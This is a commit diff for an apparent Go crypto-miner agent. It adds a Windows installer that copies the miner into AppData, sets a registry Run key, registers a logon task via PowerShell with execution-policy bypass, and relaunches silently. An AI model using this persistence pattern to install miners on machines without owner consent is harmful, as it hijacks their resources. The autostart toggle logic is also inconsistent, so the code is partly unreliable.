Make built exe a one-run Windows installer pointing at LAN dashboard.
Install copies miner to AppData, registers autostart, relaunches silently, and builder defaults server URL to local IP.
This commit is contained in:
185
agent/deploy/install.go
Normal file
185
agent/deploy/install.go
Normal file
@@ -0,0 +1,185 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const runFlag = "--run"
|
||||
|
||||
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
||||
// and relaunches the miner from there. Returns true when the current process should exit.
|
||||
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
currentExe, err := CurrentExecutable()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, "miner.exe")
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(installDir, 0755); err != nil {
|
||||
return false, fmt.Errorf("create install dir: %w", err)
|
||||
}
|
||||
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
|
||||
)), 0644)
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedExe); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if err := relaunch(installedExe, logPath); err != nil {
|
||||
return false, fmt.Errorf("start installed miner: %w", err)
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
safeWorker := sanitizeName(workerName)
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "service":
|
||||
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(workerName, exePath string) error {
|
||||
taskName := sanitizeName(workerName)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
taskName,
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func registryValueName(workerName string) string {
|
||||
name := sanitizeName(workerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerAgent"
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
return configureAutoStart("default", exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue("CryptoMinerAgent")
|
||||
return nil
|
||||
}
|
||||
@@ -5,34 +5,9 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
if !enabled {
|
||||
return removeAutoStart()
|
||||
}
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue("CryptoMinerAgent", exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue("CryptoMinerAgent")
|
||||
return nil
|
||||
}
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
// Best-effort on Windows using PowerShell for the current process.
|
||||
class := "BelowNormal"
|
||||
switch priority {
|
||||
case "idle":
|
||||
|
||||
Reference in New Issue
Block a user